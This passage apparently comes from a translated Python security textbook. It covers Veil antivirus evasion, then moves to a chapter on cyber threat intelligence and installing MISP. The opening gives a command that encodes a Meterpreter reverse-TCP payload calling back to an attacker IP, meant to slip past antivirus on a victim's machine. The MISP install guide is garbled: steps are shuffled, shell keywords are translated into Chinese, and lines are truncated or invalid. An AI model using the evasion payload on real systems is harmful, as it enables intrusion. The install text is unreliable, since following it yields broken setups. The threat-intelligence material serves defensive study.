第二种方法是将我们的有效载荷/利用程序注入到底层系统的进程内存中。这样做将在内存中执行代码,并且大多数防病毒软件都不会检测到。
-
第三种方法是利用编码来防止被检测。在本节中,我们将看到如何利用一个非常强大的编码框架 VEIL 来制作一个可能逃避 AV 检测的有效载荷。
下载和安装 Veil
应该注意,Veil 已预装在最新版本的 Kali Linux 中。对于其他版本的 Linux,我们可以使用以下命令安装 Veil:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
一旦 Veil 成功安装,生成 Veil 编码有效载荷就是一个非常简单的任务。在使用 Veil 时,背后发生的事情是,它试图使利用代码变得神秘和随机,以便基于签名的检测工作的 AV 可能会被利用的随机性和神秘性所愚弄。有两种方法可以做到这一点。一种方法是使用 Veil 提供的交互式 shell。这可以通过输入命令veil,然后在规避模块下选择一个有效载荷来调用。另一个更简单的选择是在命令行中指定所有选项,如下所示:
veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.102 --port 4444 -o exploit
上面的命令将使用 Veil 的有效载荷编号41来对 Metasploit 模块windows/meterpreter/reverse_tcp进行编码。这将产生以下输出:
上面的截图显示了 Veil 将对其进行编码并可以传递给受害者以查看其是否逃避防病毒软件的利用程序。如果没有,那么我们必须使用 Veil 的交互版本来调整有效载荷参数,以生成更独特的签名。您可以在“进一步阅读”部分的链接中找到有关 Veil 的更多信息。
总结
在本章中,我们学习了开发自定义利用程序来利用 Web 和网络服务。我们还讨论了如何从防病毒软件中逃避我们的利用。此外,我们还探讨了各种 Web 漏洞,如 LFI 和 RFI,并讨论了如何提升这些漏洞以从受害者那里获得反向 shell。重要的是要理解,利用开发需要对潜在漏洞的深入理解,我们应该始终尝试制作可重用的通用利用程序。请随意修改我们讨论的利用代码,使其通用化,并尝试在其他应用程序中使用它们。
在下一章中,我们将走出渗透测试生态系统,了解更多关于安全运营中心(SOC)或网络安全监控生态系统的信息。我们将了解什么是网络威胁情报以及如何利用它来保护组织免受潜在威胁。我们还将了解如何将网络威胁情报自动化,以辅助 SIEM 工具的检测能力。
问题
-
还可以使用自定义利用程序利用哪些其他基于 Web 的漏洞?
-
如果一个攻击向量失败,我们如何改进开发的利用代码以尝试其他可能性?
进一步阅读
-
Python 中的利用程序开发:
samsclass.info/127/127_WWC_2014.shtml -
Python 漏洞开发辅助:
github.com/longld/peda -
创建 Metasploit 模块:
github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules
第十四章:网络威胁情报
到目前为止,本书一直关注网络安全的攻击方面。我们主要关注使用 Python 在渗透测试领域。在本章中,我们将尝试理解 Python 如何在网络安全的防御方面使用。当我们谈论网络安全的防御时,首先想到的是监控。安全运营中心是一个常用于监控团队的术语,负责持续监控组织的安全格局。这个团队使用一种称为安全信息与事件管理(SIEM)的工具,它作为一个聚合器,收集需要监控的各种应用程序和设备的日志。除了聚合,SIEM 还有一个规则引擎,其中配置了各种规则用于异常检测。规则因组织而异,取决于业务背景和需要监控的日志。如今,我们经常有许多基于大数据集群构建的 SIEM 解决方案,这些解决方案使用机器学习算法,并由人工智能模型驱动,结合规则引擎,使监控更加有效。那么网络威胁情报在这一切中的作用是什么?我们将在本章中学习这一点,以及以下主题:
-
网络威胁情报
-
工具和 API
-
威胁评分:为每个 IOC 给出一个分数
-
STIX 和 TAXII 以及外部查找
网络威胁情报简介
网络威胁情报是处理原始收集信息并将其转化为可操作情报的过程。广义上说,威胁情报是一个包括手动情报收集和使用自动化工具来增强组织安全格局的过程。让我们在本节中尝试理解自动化和手动威胁情报。
手动威胁情报
手动威胁情报是手动收集情报并将其转化为可操作情报的过程。让我们以一个特定于组织的手动威胁情报为例。
为组织“X”的网络安全团队工作的分析师对组织的内部情况非常了解,包括高层管理、关键流程和关键应用。作为网络安全和情报团队的一员,这名员工的职责之一就是在深网/暗网上搜索可能针对组织的潜在威胁。威胁的范围总是多种多样的。可能包括泄露的电子邮件或在暗网上的痕迹,这可能会引起组织的警惕。另一个威胁可能是针对特定行业(如电信行业)的勒索软件。如果员工发现了这一点,组织就能提前得到警报,并加强对勒索软件的防御机制。
手动威胁情报的另一个例子是收集与内部威胁相关的信息。对于一个拥有庞大员工群体和大量流程的组织来说,监控每个人总是很困难的。安全信息与事件管理系统(SIEM)通常难以监控行为威胁。假设有一个服务器 X(Web 服务器),通常每天与服务器 Y(数据库)和 Z(应用程序)通信。然而,SIEM 的一些痕迹表明服务器 X 正在通过 SMB 端口445与服务器 A 通信。这种行为很奇怪和可疑。现在,要对各个服务器之间的日常通信进行基线分析,并创建规则以检测异常对于 SIEM 来说将会非常困难,因为组织内通常有大量系统。虽然现在有一些解决方案是基于人工智能引擎和大数据构建的,用于进行此类异常检测,但手动威胁狩猎目前仍然效果最好。在组织内手动识别异常的这一过程被称为内部威胁狩猎。
自动化威胁情报
正如我们所讨论的,威胁情报是一个先进的过程,使组织能够不断收集基于上下文和情境风险分析的有价值的网络威胁见解。它可以根据组织特定的威胁格局进行定制。简单来说,威胁情报是基于识别、收集和丰富相关网络威胁数据和信息的分析输出。网络威胁数据通常包括威胁迹象(IOCs),如恶意 IP、URL、文件哈希、域名、电子邮件地址等。
这个收集信息并将其转化为可供安全产品(如 SIEM 工具、IDS/IPS 系统、防火墙、代理服务器、WAF 等)使用的可操作情报的过程是我们在本章中将重点关注的。这个收集和情境化信息的过程可以手动完成,如前所述,也可以自动化。自动化可以进一步分为分离的自动化(在脚本级别)或使用中央编排引擎的自动化。我们将考虑两者的优缺点。
有各种安全网站和社区公开分享网络情报数据,作为一种协作措施来对抗黑客活动,并保护组织免受新兴威胁。这些社区通常使用所谓的威胁共享源或威胁源。共享的数据包含恶意 URL、恶意 IP、恶意文件、恶意文件的签名、恶意域名、恶意 C&C 服务器等。所有共享的数据都是由组织报告的,表示已经做了可疑的事情。这可能是 SSH 扫描活动、水平扫描、钓鱼网站、暴力 IP、恶意软件签名等。
收集的所有信息都与 SIEM 共享,并在 SIEM 上创建规则,以检测组织内部针对标记为恶意的 IOCs 的任何通信。如果 SIEM 指示内部服务器或资产与收集的 IOCs 之间存在通信,它将警告组织,然后可以采取适当的预防措施。虽然这个过程可能看起来很简单,但实际上并不像看起来那么简单。行业面临的主要挑战是 IOCs 的质量。值得注意的是,已经收集了数百万个 IOCs。组织拥有的高质量 IOCs 越多,检测就越好。然而,拥有数百万个 IOCs 并不能默认提高检测能力。我们不能只是以自动化的方式收集 IOCs 并将其提供给 SIEM。从不同格式(如 JSON、CSV、STIX、XML、txt 和数据库文件)的各种来源收集的 IOCs 带有大量噪音。这意味着非恶意的域和 IP 也被标记。如果直接将这些嘈杂的数据提供给 SIEM,并在其上创建规则,这将导致大量的误报警报,从而增加分析师所需的工作量。
在本章中,我们将学习如何消除误报警报并提高收集的 IOCs 的质量。我们将编写一个自定义的 Python 算法来提高 IOCs 的质量,并为每个收集的 IOCs 关联一个威胁分数。威胁分数将在 1 到 10 的范围内。较高端的分数表示更严重的潜在严重性,而较低端的分数可能不太严重。这将使我们只与 SIEM 共享高质量的 IOCs,从而提高真正的阳性率。
网络威胁情报平台
如前所述,情报收集的过程可以通过不同的脚本自动化,我们可以将它们组合起来,或者建立一个能够收集和分享网络威胁情报的中央平台。具有这种能力的中央平台被称为网络威胁情报平台。让我们试着理解网络威胁情报收集的半自动化和完全自动化过程:
- 以下图表代表了威胁情报平台试图解决的问题陈述。在一个大型组织中,SIEM 工具每分钟生成 100-100,000 个事件,规则引擎每小时触发 20-50 个警报。分析师需要手动验证每个警报,并检查相关的 IP 或域名是否合法。分析师必须使用各种安全查找站点,手动解释它们,并决定警报是否有资格进一步调查,或者是否是误报。这就是大量人力投入的地方,也是我们需要自动化网络威胁情报的地方:
- 情报数据收集的各种来源包括以下内容:
- 一个完全成熟的威胁情报平台的能力包括以下内容:
工具和 API
当我们谈论网络威胁情报平台时,有许多商业和开源工具可用于收集、情境化和分享情报。一些最知名的商业工具包括以下内容:
-
IBM X-Force Exchange
-
Anomali ThreatStream
-
Palo Alto Networks AutoFocus
-
RSA NetWitness 套件
-
LogRhythm 威胁生命周期管理(TLM)平台
-
FireEye iSIGHT Threat Intelligence
-
LookingGlass Cyber Solutions
-
AlienVault 统一安全管理(USM)
最知名的开源工具包括以下内容:
-
MISP
-
OpenIOC
-
OpenTAXII
-
Yeti
-
AbuseHelper
-
sqhunter
-
sqhunter
所有先前提到的开源工具都非常好,并且具有不同的功能。我个人发现恶意软件信息共享平台(MISP)在功能和特性方面都非常有用。它成为我最喜欢的原因是其可扩展的架构和其 API,使其能够与其他编程语言协作。这是我们将在本章重点关注的开源威胁情报平台。我们的目标是了解 MISP 开箱即用提供了什么,以及我们可以添加哪些附加功能,以获得高质量的 IOC 源文件到 SIEM 工具。MISP 暴露了一个很棒的pymispAPI,用于从 Python 中消费收集的 IOCs。
MISP
MISP是一个用 cakePHP 编写的框架,有着出色的社区支持。该框架的目标是从发布恶意内容的各种源头收集威胁情报,并将其存储在后端存储库中。相同的内容可以在以后进行分析并与安全工具(如 SIEM、防火墙和 IDS/IPS 系统)共享。该工具有很多功能,包括以下内容:
-
它有一个中央解析器,能够解析各种 IOC 源文件,如纯文本、CSV、TSV、JSON 和 XML。这是一个很大的优势,因为这意味着我们不必担心情报以何种格式从源头提供。不同的源头以不同的格式提供情报。中央解析器解析 IOC 信息,并将其转换为与 MISP 支持的后端模式匹配的一致格式。
-
它有一个 API,使我们能够直接与 SIEM 工具共享情报(但这是一个缺点,因为 MISP 尚未具有误报消除能力)。
-
它具有与其他 MISP 实例集成并具有用于提供威胁共享的服务器的能力。
-
它具有基于角色的访问 Web 界面的功能,允许分析人员了解和关联收集的 IOC。
-
它具有基于队列的后端工作系统,其中可以安排一系列源在任何时间/一天的任何时间进行。我们还可以更改这应该重复多久。后端工作程序和排队系统基于 Redis 和 CakeResque。
-
MISP 不仅在收集威胁信息方面非常出色,而且在相关性和以多种格式共享信息方面也非常出色,例如 CSV、STIX、JSON、文本、XML 和 Bro-IDS 签名。
MISP 提供的完整功能列表可以在官方存储库中找到:github.com/MISP/MISP。
安装 MISP
安装说明可以在先前提到的 GitHub 存储库中找到。我们已经在 CentOS 7 上测试了代码并使用了它。执行以下说明在 CentOS 7 上设置 MISP:
# INSTALLATION INSTRUCTIONS
## for CentOS 7.x
### 0/ MISP CentOS 7 Minimal NetInstall - Status
--------------------------------------------
!!! notice
Semi-maintained and tested by @SteveClement, CentOS 7.5-1804 on 20181113<br />
It is still considered experimental as not everything works seemlessly.
CentOS 7.5-1804 [NetInstallURL](http://mirror.centos.org/centos/7.5.1804/os/x86_64/)
{!generic/globalVariables.md!}
```bash
# CentOS 特定
RUN_PHP='/usr/bin/scl enable rh-php71 '
RUN_PYTHON='/usr/bin/scl enable rh-python36 '
PHP_INI=/etc/opt/rh/rh-php71/php.ini
```py
### 1/ Minimal CentOS install
- 使用以下软件安装一个最小的 CentOS 7.x 系统:
- OpenSSH server
- LAMP server (actually, this is done below)
- Mail server
```bash
# 确保将主机名设置为正确的,而不是像一个蛮人(手动在/etc/hostname 中)
使用 sudo hostnamectl set-hostname misp.local #或者您希望它成为什么
# 确保您的系统是最新的:
使用 sudo yum update -y
```py
### 2/ Dependencies *
----------------
- 安装完成后,您可以以 root 或使用
sudo执行以下步骤:
```bash
# 我们需要一些来自企业 Linux 额外软件包存储库的软件包
使用 sudo yum install epel-release -y
# 自 MISP 2.4 起,PHP 5.5 是最低要求,因此我们需要比 CentOS 基础提供的更新版本
# 软件集合是一种方法,参见 https://wiki.centos.org/AdditionalResources/Repositories/SCL
使用 sudo yum install centos-release-scl -y
# 安装 vim(可选)
使用 sudo yum install vim -y
# 安装依赖项:
使用 sudo yum install gcc git httpd zip redis mariadb mariadb-server python-devel python-pip python-zmq libxslt-devel zlib-devel ssdeep-devel -y
# 从 SCL 安装 PHP 7.1,参见 https://www.softwarecollections.org/en/scls/rhscl/rh-php71/
使用 sudo yum install rh-php71 rh-php71-php-fpm rh-php71-php-devel rh-php71-php-mysqlnd rh-php71-php-mbstring rh-php71-php-xml rh-php71-php-bcmath rh-php71-php-opcache -y
# 从 SCL 安装 Python 3.6,参见
# https://www.softwarecollections.org/en/scls/rhscl/rh-python36/
使用 sudo yum install rh-python36 -y
# rh-php71-php 仅为来自 SCL 的 httpd24-httpd 提供 mod_ssl mod_php
# 如果我们想要使用 CentOS 基础的 httpd,我们可以使用 rh-php71-php-fpm
使用 sudo systemctl enable rh-php71-php-fpm.service
使用 sudo systemctl start rh-php71-php-fpm.service
使用 sudo $RUN_PHP "pear channel-update pear.php.net"
使用 sudo $RUN_PHP "pear install Crypt_GPG" #我们需要版本>1.3.0
```py
!!! notice
$RUN_PHP makes php available for you if using rh-php71\. e.g: sudo $RUN_PHP "pear list | grep Crypt_GPG"
```bash
# GPG 需要大量的熵,haveged 提供熵
使用 sudo yum install haveged -y
使用 sudo systemctl enable haveged.service
使用 sudo systemctl start haveged.service
# 启用并启动 redis
使用 sudo systemctl enable redis.service
使用 sudo systemctl start redis.service
```py
### 3/ MISP code
------------
```bash
```py
3. Download MISP using `git` in the `/var/www/` directory:
使用 sudo mkdir $PATH_TO_MISP
使用 sudo chown apache:apache $PATH_TO_MISP
cd /var/www
使用 sudo -u apache git clone github.com/MISP/MISP.g…
cd $PATH_TO_MISP
使用 sudo -u apache git checkout tags/$(git describe --tags git rev-list --tags --max-count=1)
如果最后一个快捷方式不起作用,请手动指定最新版本
例如:git checkout tags/v2.4.XY。以下是经过测试的:(git checkout tags/v2.4.79)
关于“分离的 HEAD 状态”的消息是预期行为
(如果要更改内容并进行拉取请求,只需创建一个新分支)
获取子模块
使用 apache 用户执行 git submodule update --init --recursive
使 git 忽略子模块的文件系统权限差异
使用 apache 用户执行 git submodule foreach --recursive git config core.filemode false
创建一个 python3 虚拟环境
sudo -u apache PATH_TO_MISP/venv"
cd /var/www/MISP/app
cd /var/www/MISP/app/files/scripts/python-stix
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U pip setuptools
通过运行以下命令安装 Mitre 的 STIX 及其依赖项:
sudo yum install python-importlib python-lxml python-dateutil python-six -y
cd /var/www/MISP/app/files/scripts
post_max_size = 50M
sudo chown apache:apache /var/www/MISP/app/files/terms
CakeResque 通常使用 phpredis 连接到 redis,但它有一个(有缺陷的)通过 Redisent 的备用连接器。强烈建议使用"yum install php-redis"安装 phpredis
4. If your `umask` has been changed from the default, it is a good idea to reset it to `0022` before installing the Python modules:
UMASK=$(umask)
umask 0022
sudo mkdir /usr/share/httpd/.composer
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
安装 maec
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U maec
安装 zmq
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U zmq
建议:在/etc/opt/rh/rh-php71/php.ini 中更改一些 PHP 设置
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U redis
安装 magic、lief、pydeep
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U python-magic lief git+github.com/kbandla/pyd…
安装 mixbox 以适应新的 STIX 依赖项:
cd /var/www/MISP/app/files/scripts/
sudo -u apache git clone github.com/CybOXProjec…
cd /var/www/MISP/app/files/scripts/mixbox
完成
sudo -u apache $RUN_PHP "php composer.phar install"
cd /var/www/MISP/PyMISP
sudo chmod -R g+ws /var/www/MISP/app/files/scripts/tmp
sudo chown apache:apache /usr/share/httpd/.cache
为 php-fpm 启用 python3
安装 PyMISP
sudo sed -i.org -e 's/^;(clear_env = no)/\1/' /etc/opt/rh/rh-php71/php-fpm.d/www.conf
sudo systemctl restart rh-php71-php-fpm.service
umask $UMASK
### 4/ CakePHP
-----------
#### CakePHP is now included as a submodule of MISP and has been fetch by a previous step.
- sudo ln -s ../php-fpm.d/timezone.ini /etc/opt/rh/rh-php71/php.d/99-timezone.ini
```bash
```py
```bash
cd /var/www/MISP/app/files/scripts/python-cybox
sudo chown apache:apache /usr/share/httpd/.composer
echo 'source scl_source enable rh-python36' | sudo tee -a /etc/opt/rh/rh-php71/sysconfig/php-fpm
sudo $RUN_PHP "pecl install redis"
sudo -u apache $RUN_PHP "php composer.phar config vendor-dir Vendor"
sudo -u apache $RUN_PHP "php composer.phar require kamisama/cake-resque:4.1.2"
# sudo -u apache git clone https://github.com/STIXProject/python-stix.git
sudo find /var/www/MISP -type d -exec chmod g=rx {} \;
echo "extension=redis.so" |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/redis.ini
sudo ln -s ../php-fpm.d/redis.ini /etc/opt/rh/rh-php71/php.d/99-redis.ini
sudo systemctl restart rh-php71-php-fpm.service
# 如果您尚未在 php.ini 中设置时区
echo 'date.timezone = "Europe/Luxembourg"' |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/timezone.ini
使用以下命令作为 root 用户确保权限设置正确:
# sudo -u apache git clone https://github.com/CybOXProject/python-cybox.git
# max_execution_time = 300
# memory_limit = 512M
# upload_max_filesize = 50M
# sudo -u apache $PATH_TO_MISP/venv/bin/pip install enum34
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
对于 upload_max_filesize、post_max_size、max_execution_time、max_input_time 和 memory_limit 等键
sudo sed -i "s/^\($key\).*/\1 = $(eval echo \${$key})/" $PHP_INI
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
sudo systemctl restart rh-php71-php-fpm.service
```py
6. To use the scheduler worker for scheduled tasks, perform the following commands:
sudo cp -fa /var/www/MISP/INSTALL/setup/config.php /var/www/MISP/app/Plugin/CakeResque/Config/config.php
- 设置权限如下:
如果您打算使用内置的后台作业,请安装 CakeResque 以及其依赖项:
确保使用以下命令作为 root 用户正确设置权限:
sudo chown -R root:apache /var/www/MISP
安装 redis
sudo chmod -R g+r,o= /var/www/MISP
sudo chmod -R 750 /var/www/MISP
sudo chmod -R g+ws /var/www/MISP/app/tmp
sudo chmod -R g+ws /var/www/MISP/app/files
sudo chown -R apache:apache /var/www/MISP
sudo chown apache:apache /var/www/MISP/app/files
sudo mkdir /usr/share/httpd/.cache
sudo chown apache:apache /var/www/MISP/app/files/scripts/tmp
sudo chown apache:apache /var/www/MISP/app/Plugin/CakeResque/tmp
sudo chown -R apache:apache /var/www/MISP/app/Config
sudo chown -R apache:apache /var/www/MISP/app/tmp
sudo chown -R apache:apache /var/www/MISP/app/webroot/img/orgs
sudo chown -R apache:apache /var/www/MISP/app/webroot/img/custom
- 按如下方式创建数据库和用户:
```bash
# 启用,启动和保护您的 mysql 数据库服务器
sudo systemctl enable mariadb.service
sudo systemctl start mariadb.service
sudo yum install expect -y
# 如果需要,添加您的凭据,如果 sudo 有 NOPASS,请注释掉相关行
#pw="Password1234"
期望 -f - <<-EOF
设置超时时间为 10
生成 sudo mysql_secure_installation
#期望"*?assword*"
#发送 -- "$pw\r"
期望"输入 root 的当前密码(不输入则为空):"
发送 -- "\r"
期望"设置 root 密码?"
发送 -- "y\r"
期望"新密码:"
发送 -- "${DBPASSWORD_ADMIN}\r"
期望"重新输入新密码:"
发送 -- "${DBPASSWORD_ADMIN}\r"
期望"删除匿名用户?"
发送 -- "y\r"
期望"禁止远程 root 登录?"
发送 -- "y\r"
期望"删除测试数据库和对其的访问权限?"
发送 -- "y\r"
期望"现在重新加载权限表?"
发送 -- "y\r"
期望 eof
EOF
sudo yum remove tcl expect -y
# 此外,让数据库服务器只在本地侦听可能是一个好主意
echo [mysqld] |sudo tee /etc/my.cnf.d/bind-address.cnf
echo bind-address=127.0.0.1 |sudo tee -a /etc/my.cnf.d/bind-address.cnf
sudo systemctl restart mariadb.service
# 进入 mysql shell
mysql -u root -p
```py
MariaDB [(none)]> create database misp;
MariaDB [(none)]> grant usage on . to misp@localhost identified by 'XXXXXXXXX';
MariaDB [(none)]> grant all privileges on misp.* to misp@localhost ;
MariaDB [(none)]> 退出
#### copy/paste:
```bash
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "create database $DBNAME;"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant usage on *.* to $DBNAME@localhost identified by '$DBPASSWORD_MISP';"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "grant all privileges on $DBNAME.* to '$DBUSER_MISP'@'localhost';"
sudo mysql -u $DBUSER_ADMIN -p$DBPASSWORD_ADMIN -e "flush privileges;"
```py
- 从
MYSQL.sql导入空的 MySQL 数据库如下:
```bash sudo -u apache cat $PATH_TO_MISP/INSTALL/MYSQL.sql | mysql -u $DBUSER_MISP -p$DBPASSWORD_MISP $DBNAME
```py
- 接下来,配置您的 Apache 服务器:
!!! notice
SELinux note, to check if it is running:
```bash
$ sestatus
SELinux 状态:已禁用
```py
If it is disabled, you can ignore the **chcon/setsebool/semanage/checkmodule/semodule*** commands.
!!! warning
This guide only copies a stock **NON-SSL** configuration file.
```bash
# 现在使用 DocumentRoot /var/www/MISP/app/webroot/配置您的 apache 服务器
# 可以在/var/www/MISP/INSTALL/apache.misp.centos7 中找到一个示例 vhost
sudo cp /var/www/MISP/INSTALL/apache.misp.centos7.ssl /etc/httpd/conf.d/misp.ssl.conf
# 如果服务器尚未创建有效的 SSL 证书,请创建自签名证书:
sudo openssl req -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=${OPENSSL_C}/ST=${OPENSSL_ST}/L=${OPENSSL_L}/O=${OPENSSL_O}/OU=${OPENSSL_OU}/CN=${OPENSSL_CN}/emailAddress=${OPENSSL_EMAILADDRESS}" \
-keyout /etc/pki/tls/private/misp.local.key -out /etc/pki/tls/certs/misp.local.crt
# 由于启用了 SELinux,我们需要允许 httpd 写入某些目录
sudo chcon -t usr_t /var/www/MISP/venv
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/terms
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/files/scripts/tmp
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Plugin/CakeResque/tmp
sudo chcon -R -t usr_t /var/www/MISP/venv
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp/logs
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/orgs
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/webroot/img/custom
```py
!!! warning
Revise all permissions so update in Web UI works.
```bash
sudo chcon -R -t httpd_sys_rw_content_t /var/www/MISP/app/tmp
# 允许 httpd 通过 tcp/ip 连接到 redis 服务器和 php-fpm
sudo setsebool -P httpd_can_network_connect on
# 启用并启动 httpd 服务
sudo systemctl enable httpd.service
sudo systemctl start httpd.service
# Open a hole in the iptables firewall
sudo firewall-cmd --zone=public --add-port=80/tcp --permanent
sudo firewall-cmd --zone=public --add-port=443/tcp --permanent
sudo firewall-cmd --reload
# We seriously recommend using only HTTPS / SSL !
# Add SSL support by running: sudo yum install mod_ssl
# Check out the apache.misp.ssl file for an example
```py
!!! warning
To be fixed - Place holder
- To rotate these logs, install the supplied
logrotatescript:
```bash
# MISP saves the stdout and stderr of it's workers in /var/www/MISP/app/tmp/logs
# To rotate these logs install the supplied logrotate script:
sudo cp $PATH_TO_MISP/INSTALL/misp.logrotate /etc/logrotate.d/misp
sudo chmod 0640 /etc/logrotate.d/misp
# Now make logrotate work under SELinux as well
# Allow logrotate to modify the log files
sudo semanage fcontext -a -t httpd_log_t "/var/www/MISP/app/tmp/logs(/.*)?"
sudo chcon -R -t httpd_log_t /var/www/MISP/app/tmp/logs
# Allow logrotate to read /var/www
sudo checkmodule -M -m -o /tmp/misplogrotate.mod $PATH_TO_MISP/INSTALL/misplogrotate.te
sudo semodule_package -o /tmp/misplogrotate.pp -m /tmp/misplogrotate.mod
sudo semodule -i /tmp/misplogrotate.pp
```py
- Run the following script to configure the MISP instance:
```bash
# There are 4 sample configuration files in $PATH_TO_MISP/app/Config that need to be copied
sudo -u apache cp -a $PATH_TO_MISP/app/Config/bootstrap.default.php $PATH_TO_MISP/app/Config/bootstrap.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/database.default.php $PATH_TO_MISP/app/Config/database.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/core.default.php $PATH_TO_MISP/app/Config/core.php
sudo -u apache cp -a $PATH_TO_MISP/app/Config/config.default.php $PATH_TO_MISP/app/Config/config.php
echo "<?php;?>
class DATABASE_CONFIG {
public \$default = array(
'datasource' => 'Database/Mysql',
//'datasource' => 'Database/Postgres',
'persistent' => false,
'host' => '$DBHOST',
'login' => '$DBUSER_MISP',
'port' => 3306, // MySQL & MariaDB
//'port' => 5432, // PostgreSQL
'password' => '$DBPASSWORD_MISP',
'database' => '$DBNAME',
'prefix' => '',
'encoding' => 'utf8',
);
}" | sudo -u apache tee $PATH_TO_MISP/app/Config/database.php
# Configure the fields in the newly created files:
# config.php : baseurl (example: 'baseurl' => 'http://misp',) - don't use "localhost" it causes issues when browsing externally
# core.php : Uncomment and set the timezone: `// date_default_timezone_set('UTC');`
# database.php : login, port, password, database
# DATABASE_CONFIG has to be filled
# With the default values provided in section 6, this would look like:
# class DATABASE_CONFIG {
# public $default = array(
# 'datasource' => 'Database/Mysql',
# 'persistent' => false,
# 'host' => 'localhost',
# 'login' => 'misp', // grant usage on *.* to misp@localhost
# 'port' => 3306,
# 'password' => 'XXXXdbpasswordhereXXXXX', // identified by 'XXXXdbpasswordhereXXXXX';
# 'database' => 'misp', // create database misp;
# 'prefix' => '',
# 'encoding' => 'utf8',
# );
#}
```py
Change the salt key in `/var/www/MISP/app/Config/config.php`. The admin user account will be generated on the first login; make sure that the salt is changed before you create that user. If you forget to do this step, and you are still dealing with a fresh installation, just alter the salt.
Delete the user from MYSQL and log in again using the default admin credentials (`admin@admin.test/admin`).
13. If you want to change the configuration parameters from the web interface, run the following script and proceed by generating a GPG encryption key:
sudo chown apache:apache /var/www/MISP/app/Config/config.php
sudo chcon -t httpd_sys_rw_content_t /var/www/MISP/app/Config/config.php
Generate a GPG encryption key.
cat >/tmp/gen-key-script <<EOF
%echo Generating a default key
Key-Type: default
Key-Length: $GPG_KEY_LENGTH
Subkey-Type: default
Name-Real: $GPG_REAL_NAME
Name-Comment: $GPG_COMMENT
Name-Email: $GPG_EMAIL_ADDRESS
Expire-Date: 0
Passphrase: $GPG_PASSPHRASE
Do a commit here, so that we can later print "done"
%commit
%echo done
EOF
sudo gpg --homedir /var/www/MISP/.gnupg --batch --gen-key /tmp/gen-key-script
sudo rm -f /tmp/gen-key-script
sudo chown -R apache:apache /var/www/MISP/.gnupg
And export the public key to the webroot
sudo gpg --homedir /var/www/MISP/.gnupg --export --armor $GPG_EMAIL_ADDRESS |sudo tee /var/www/MISP/app/webroot/gpg.asc
sudo chown apache:apache /var/www/MISP/app/webroot/gpg.asc
Start the workers to enable background jobs
sudo chmod +x /var/www/MISP/app/Console/worker/start.sh
sudo -u apache $RUN_PHP /var/www/MISP/app/Console/worker/start.sh
if [ ! -e /etc/rc.local ]
then
echo '#!/bin/sh -e' | sudo tee -a /etc/rc.local
echo 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod u+x /etc/rc.local
fi
sudo sed -i -e '$i \su -s /bin/bash apache -c "scl enable rh-php71 /var/www/MISP/app/Console/worker/start.sh" > /tmp/worker_start_rc.local.log\n' /etc/rc.local
确保它将被执行
sudo chmod +x /etc/rc.local
echo "Admin (root) DB Password: $DBPASSWORD_ADMIN"
echo "User (misp) DB Password: $DBPASSWORD_MISP"
一些 misp-modules 依赖项
sudo yum install -y openjpeg-devel
sudo chmod 2777 /usr/local/src
sudo chown root:users /usr/local/src
cd /usr/local/src/
git clone github.com/MISP/misp-m…
cd misp-modules
pip install
sudo -u apache $PATH_TO_MISP/venv/bin/pip install -I -r REQUIREMENTS
sudo -u apache $PATH_TO_MISP/venv/bin/pip install .
sudo yum install rubygem-rouge rubygem-asciidoctor -y
##sudo gem install asciidoctor-pdf --pre
安装 STIX2.0 库以支持 STIX 2.0 导出:
sudo -u apache $PATH_TO_MISP/venv/bin/pip install stix2
安装扩展对象生成和提取的其他依赖项
sudo -u apache ${PATH_TO_MISP}/venv/bin/pip install maec lief python-magic pathlib
sudo -u apache ${PATH_TO_MISP}/venv/bin/pip install git+github.com/kbandla/pyd…
启动 misp-modules
sudo -u apache ${PATH_TO_MISP}/venv/bin/misp-modules -l 0.0.0.0 -s &
sudo sed -i -e '$i \sudo -u apache /var/www/MISP/venv/bin/misp-modules -l 127.0.0.1 -s &\n' /etc/rc.local
{!generic/MISP_CAKE_init_centos.md!}
{!generic/INSTALL.done.md!}
{!generic/recommended.actions.md!}
{!generic/hardening.md!}
威胁评分能力
一旦所有依赖关系都得到解决,并且工具设置好了,我们将需要通过增强 MISP 后端系统来扩展 IOC 威胁评分能力。值得注意的是,MISP 并不具备开箱即用的威胁评分能力,这是 SIEM 的一个非常重要的功能。我们对 MISP 后端系统/代码库所做的改进是确保我们可以在 MISP 之上构建 IOC 威胁评分能力。为了适应这一点,我们在后端创建了一个名为threat_scoring的表。该表记录了每个 IOC 的适当威胁评分。
设置数据库后,让我们打开 MySQL 控制台,并按以下方式删除 MISP 数据库:
mysql -u <username> -p <password>
delete database misp;
create database misp;
exit
一旦我们执行这些命令,我们现在需要将修改后的数据库模式添加到新创建的misp数据库中。可以按以下方式将其添加到后端系统中:
mysql -u <username> -p misp < mod_schema.sql
执行上述命令后,我们将拥有 MISP 后端数据库的更新实例。mod_schema.sql 可以在本章的 GITHUB URL 中找到。
MISP UI 和 API
